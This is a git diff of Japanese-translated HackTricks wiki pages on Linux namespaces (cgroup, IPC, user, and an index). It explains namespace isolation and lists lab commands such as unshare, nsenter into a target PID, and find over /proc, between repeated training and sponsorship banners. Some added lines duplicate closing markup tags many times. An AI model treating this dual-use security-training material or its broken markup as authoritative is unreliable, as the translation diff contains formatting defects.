**デフォルトでは、コンテナエンジンはユーザー名前空間を利用しませんが、ルートレスコンテナはファイルシステムのマウントや複数のUIDを使用するためにそれを必要とします。** ルートレスコンテナに不可欠なユーザー名前空間は無効にできず、特権を制限することでセキュリティを大幅に向上させます。
## 参考文献
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけましょう
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**Telegramグループ**](https://t.me/peass)**に参加するか、Twitterで私をフォローしてください 🐦**[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* \*\*ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)\*\*にPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,28 @@
# 名前空間
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
### **PID 名前空間**
### **PID名前空間**
{% content-ref url="pid-namespace.md" %}
[pid-namespace.md](pid-namespace.md)
@ -32,13 +40,13 @@ HackTricksをサポートする他の方法:
[network-namespace.md](network-namespace.md)
{% endcontent-ref %}
### **IPC 名前空間**
### **IPC名前空間**
{% content-ref url="ipc-namespace.md" %}
[ipc-namespace.md](ipc-namespace.md)
{% endcontent-ref %}
### **UTS 名前空間**
### **UTS名前空間**
{% content-ref url="uts-namespace.md" %}
[uts-namespace.md](uts-namespace.md)
@ -55,23 +63,31 @@ HackTricksをサポートする他の方法:
{% content-ref url="user-namespace.md" %}
[user-namespace.md](user-namespace.md)
{% endcontent-ref %}
### CGroup 名前空間
{% content-ref url="cgroup-namespace.md" %}
[cgroup-namespace.md](cgroup-namespace.md)
{% endcontent-ref %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# CGroup Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)。
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 基本情報
CGroup Namespaceは、**名前空間内で実行されるプロセスのためのcgroup階層の分離**を提供するLinuxカーネル機能です。**コントロールグループ**の略であるCgroupsは、プロセスを階層的グループに整理して、CPU、メモリ、I/Oなどの**システムリソースに制限を設ける**ためのカーネル機能です。
cgroup名前空間は、**名前空間内で実行されているプロセスのためのcgroup階層の隔離を提供するLinuxカーネルの機能**です。cgroupsは、**制御グループ**の略で、プロセスを階層的なグループに整理し、CPU、メモリ、I/Oなどの**システムリソースの制限を管理および強制する**ためのカーネル機能です。
Cgroup名前空間は、PID、マウント、ネットワークなど他の名前空間タイプとは異なる独立した名前空間タイプではありませんが、名前空間分離の概念に関連しています。**Cgroup名前空間はcgroup階層のビューを仮想化**し、その結果、cgroup名前空間内で実行されるプロセスは、ホストまたは他の名前空間で実行されるプロセスと比較して、階層の異なるビューを持ちます。
cgroup名前空間は、以前に議論した他の名前空間タイプPID、マウント、ネットワークなどとは異なる独立した名前空間タイプではありませんが、名前空間の隔離の概念に関連しています。**Cgroup名前空間はcgroup階層のビューを仮想化**し、cgroup名前空間内で実行されているプロセスは、ホストや他の名前空間で実行されているプロセスとは異なる階層のビューを持ちます。
### 動作方法:
### 仕組み:
1. 新しいcgroup名前空間が作成されると、**作成プロセスのcgroupに基づいたcgroup階層のビューで開始**されます。これは、新しいcgroup名前空間で実行されるプロセスが、作成プロセスのcgroupを根とするcgroupサブツリーに制限されたcgroup階層のサブセットのみを見ることを意味します。
2. cgroup名前空間内のプロセスは、**自分自身のcgroupを階層のルートとして見る**ことになります。つまり、名前空間内のプロセスの視点からは、自分自身のcgroupがルートとして表示され、自分自身のサブツリーの外側のcgroupを見たりアクセスしたりすることはできません
3. Cgroup名前空間はリソースの分離を直接提供しません。**リソースの制御と分離は、cgroup**サブシステムCPU、メモリなど)自体によって依然として強制されます。
1. 新しいcgroup名前空間が作成されると、**それは作成プロセスのcgroupに基づいたcgroup階層のビューから始まります**。これは、新しいcgroup名前空間内で実行されるプロセスが、作成プロセスのcgroupに根ざしたcgroupサブツリーに制限された、全体のcgroup階層のサブセットのみを表示することを意味します。
2. cgroup名前空間内のプロセスは、**自分のcgroupを階層のルートとして見る**ことになります。これは、名前空間内のプロセスの視点から、自分のcgroupがルートとして表示され、他のサブツリーの外にあるcgroupを見ることもアクセスすることもできないことを意味します
3. cgroup名前空間はリソースの隔離を直接提供するわけではありません; **それはcgroup階層のビューの隔離のみを提供します**。**リソースの制御と隔離は、cgroup**サブシステムcpu、メモリなど)自体によって依然として強制されます。
CGroupsに関する詳細情報は次を参照してください:
CGroupsに関する詳細情報は、以下を確認してください:
{% content-ref url="../cgroups.md" %}
[cgroups.md](../cgroups.md)
{% endcontent-ref %}
## Lab:
## ラボ:
### 異なる名前空間を作成する
@ -40,27 +41,27 @@ CGroupsに関する詳細情報は次を参照してください
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
`--mount-proc` パラメータを使用して `/proc` ファイルシステムの新しいインスタンスをマウントすることで、新しいマウント名前空間がその名前空間固有のプロセス情報に対して正確で隔離されたビューを持つことが保証されます。
新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウント名前空間がその名前空間に特有のプロセス情報の**正確で隔離されたビュー**を持つことを保証します。
<details>
<summary>エラー: bash: fork: Cannot allocate memory</summary>
<summary>エラー: bash: fork: メモリを割り当てできません</summary>
`unshare` `-f` オプションなしで実行すると、Linux が新しい PID (プロセス ID) 名前空間を処理する方法によりエラーが発生します。主要な詳細と解決策は以下に示されています:
`unshare` `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) 名前空間を処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
1. **問題の説明**:
- Linux カーネルは、`unshare` システムコールを使用してプロセスが新しい名前空間を作成することを許可します。ただし、新しい PID 名前空間の作成を開始するプロセス("unshare" プロセスと呼ばれる)は、新しい名前空間に入りません。その子プロセスだけが入ります。
- `%unshare -p /bin/bash%` を実行すると、`/bin/bash` が `unshare` と同じプロセスで開始されます。その結果、`/bin/bash` とその子プロセスは元の PID 名前空間にあります。
- 新しい名前空間内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他のプロセスがいない場合、孤児プロセスを引き取る特別な役割を持つ PID 1 により、その名前空間のクリーンアップがトリガーされます。その後、Linux カーネルはその名前空間での PID 割り当てを無効にします。
1. **問題の説明**
- Linux カーネルはプロセスが `unshare` システムコールを使用して新しい名前空間を作成することを許可します。しかし、新しい PID 名前空間の作成を開始するプロセス「unshare」プロセスと呼ばれるは新しい名前空間に入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash`開始されます。その結果、`/bin/bash` とその子プロセスは元の PID 名前空間に存在します。
- 新しい名前空間内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、名前空間のクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはその名前空間での PID 割り当てを無効にします。
2. **結果**:
- 新しい名前空間内の PID 1 の終了により、`PIDNS_HASH_ADDING` フラグのクリーニングが行われます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てられなくなり、"Cannot allocate memory" エラーが発生します。
2. **結果**
- 新しい名前空間内の PID 1 の終了`PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てできません」というエラーが発生します。
3. **解決策**:
- `unshare``-f` オプションを使用することで問題を解決できます。このオプションにより、`unshare` は新しい PID 名前空間を作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しい名前空間で PID 1 になります。その後、`/bin/bash` とその子プロセスはこの新しい名前空間内に安全に含まれ、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
3. **解決策**
- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID 名前空間を作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しい名前空間内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しい名前空間内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
`unshare``-f` フラグで実行されることを確認することで、新しい PID 名前空間が正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
`unshare``-f` フラグで実行されることを保証することで、新しい PID 名前空間が正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
@ -68,7 +69,7 @@ sudo unshare -C [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;あなたのプロセスがどの名前空間にあるかを確認しま
### &#x20;プロセスがどの名前空間にあるかを確認す
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
@ -81,27 +82,28 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/nul
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### CGroupネームスペースに入る
{% endcode %}
### CGroup ネームスペースに入る
```bash
nsenter -C TARGET_PID --pid /bin/bash
```
また、**rootユーザーでないと他のプロセスの名前空間に入ることはできません**。そして、他の名前空間に**ディスクリプタ**が指すことなしには**入ることができません**(例:`/proc/self/ns/cgroup`
また、**ルートでない限り他のプロセスネームスペースに入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り(例えば`/proc/self/ns/cgroup`)、他のネームスペースに**入ることはできません**
## 参考文献
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,32 @@
# IPC Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
## 基本情報
IPCInter-Process Communication名前空間は、Linuxカーネルの機能であり、メッセージキュー、共有メモリセグメント、セマフォなどのSystem V IPCオブジェクトを**隔離**する機能を提供します。この隔離により、**異なるIPC名前空間内のプロセスは互いのIPCオブジェクトに直接アクセスしたり変更したりすることができません**。これにより、プロセスグループ間にセキュリティとプライバシーの追加のレイヤーが提供されます。
IPCInter-Process Communication名前空間は、メッセージキュー、共有メモリセグメント、セマフォなどのSystem V IPCオブジェクトの**隔離**を提供するLinuxカーネルの機能です。この隔離により、**異なるIPC名前空間内のプロセスは互いのIPCオブジェクトに直接アクセスしたり、変更したりできない**ため、プロセスグループ間のセキュリティとプライバシーの追加層が提供されます。
### 動作方法
### 仕組み
1. 新しいIPC名前空間が作成されると、**完全に隔離されたSystem V IPCオブジェクトのセット**で開始されます。これは、新しいIPC名前空間で実行されるプロセスが、デフォルトで他の名前空間やホストシステムのIPCオブジェクトにアクセスしたり干渉したりすることができないことを意味します。
2. 名前空間内で作成されたIPCオブジェクトは、**その名前空間内のプロセスだけが見え、アクセスできます**。各IPCオブジェクトは、その名前空間内で一意のキーで識別されます。キーは異なる名前空間で同一である場合がありますが、オブジェクト自体は隔離され、名前空間を超えてアクセスすることはできません。
3. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを`CLONE_NEWIPC`フラグとともに使用して新しい名前空間を作成したりすることができます。プロセスが新しい名前空間に移動したり、新しい名前空間を作成したりすると、その名前空間に関連付けられたIPCオブジェクトを使用し始めます。
1. 新しいIPC名前空間が作成されると、**完全に隔離されたSystem V IPCオブジェクトのセット**から始まります。これは、新しいIPC名前空間内で実行されているプロセスが、デフォルトで他の名前空間やホストシステムのIPCオブジェクトにアクセスしたり干渉したりできないことを意味します。
2. 名前空間内で作成されたIPCオブジェクトは、その名前空間内のプロセスにのみ**表示され、アクセス可能**です。各IPCオブジェクトは、その名前空間内で一意のキーによって識別されます。キーは異なる名前空間で同一である可能性がありますが、オブジェクト自体は隔離されており、名前空間を越えてアクセスすることはできません。
3. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを`CLONE_NEWIPC`フラグとに使用して新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたIPCオブジェクトを使用し始めます。
## Lab:
## ラボ:
### 異なる名前空間を作成する
@ -32,27 +34,27 @@ IPCInter-Process Communication名前空間は、Linuxカーネルの機能
```bash
sudo unshare -i [--mount-proc] /bin/bash
```
マウントオプション`--mount-proc`を使用して新しい`/proc`ファイルシステムのインスタンスをマウントすることで、新しいマウント名前空間がその名前空間固有のプロセス情報に正確で隔離されたビューを持つことが保証されます。
新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。
<details>
<summary>エラー: bash: fork: Cannot allocate memory</summary>
<summary>エラー: bash: fork: メモリを割り当てることができません</summary>
`unshare`を`-f`オプションなしで実行すると、Linuxが新しいPIDプロセスID名前空間を処理する方法によりエラーが発生します。主要な詳細と解決策は以下に概説されています:
`unshare``-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
1. **問題の説明**:
- Linuxカーネルは、`unshare`システムコールを使用してプロセスが新しい名前空間を作成することを許可します。ただし、新しいPID名前空間の作成を開始するプロセス「unshare」プロセスと呼ばれるは、新しい名前空間に入りません。その子プロセスのみが入ります。
- `%unshare -p /bin/bash%`を実行すると、`/bin/bash`が`unshare`と同じプロセスで開始されます。その結果、`/bin/bash`とその子プロセスは元のPID名前空間にあります。
- 新しい名前空間内の`/bin/bash`の最初の子プロセスはPID 1になります。このプロセスが終了すると、他のプロセスがいない場合、孤児プロセスを引き取る特別な役割を持つPID 1が、その名前空間内でPIDの割り当てを無効にします。
- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス「unshare」プロセスと呼ばれるは新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、孤児プロセスを引き取る特別な役割を持つ PID 1 によりネームスペースのクリーンアップがトリガーされます。Linux カーネルはそのネームスペースでの PID 割り当てを無効にします。
2. **結果**:
- 新しい名前空間内のPID 1の終了により、`PIDNS_HASH_ADDING`フラグのクリーニングが行われます。これにより、新しいプロセスを作成する際に`alloc_pid`関数が新しいPIDを割り当てられなくなり、「Cannot allocate memory」エラーが発生します。
- 新しいネームスペース内の PID 1 の終了は `PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
3. **解決策**:
- `unshare`に`-f`オプションを使用することで問題を解決できます。このオプションにより、`unshare`は新しいPID名前空間を作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%`を実行すると、`unshare`コマンド自体が新しい名前空間でPID 1になります。その後、`/bin/bash`とその子プロセスはこの新しい名前空間内に安全に含まれ、PID 1の早期終了を防ぎ、通常のPID割り当てを可能にします。
- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
`unshare`が`-f`フラグで実行されることを確認することで、新しいPID名前空間が正しく維持され、`/bin/bash`とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作するようになります。
`unshare``-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
@ -60,7 +62,7 @@ sudo unshare -i [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;あなたのプロセスがどの名前空間にあるかを確認しま
### &#x20;プロセスがどの名前空間にあるかを確認す
```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
@ -73,15 +75,15 @@ sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null |
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### IPCネームスペースに入る
{% endcode %}
### IPCネームスペースに入る
```bash
nsenter -i TARGET_PID --pid /bin/bash
```
### IPCオブジェクトの作成
また、**ルートでない限り他のプロセスネームスペースに入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り(例えば `/proc/self/ns/net`)、他のネームスペースに**入ることはできません**。
別のプロセスの名前空間に入ることは、ルート権限でのみ可能です。また、他の名前空間に入るには、それを指すディスクリプタ(例:`/proc/self/ns/net`)がないとできません。
### IPCオブジェクトの作成
```bash
# Container
sudo unshare -i /bin/bash
@ -100,17 +102,19 @@ ipcs -m # Nothing is seen
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
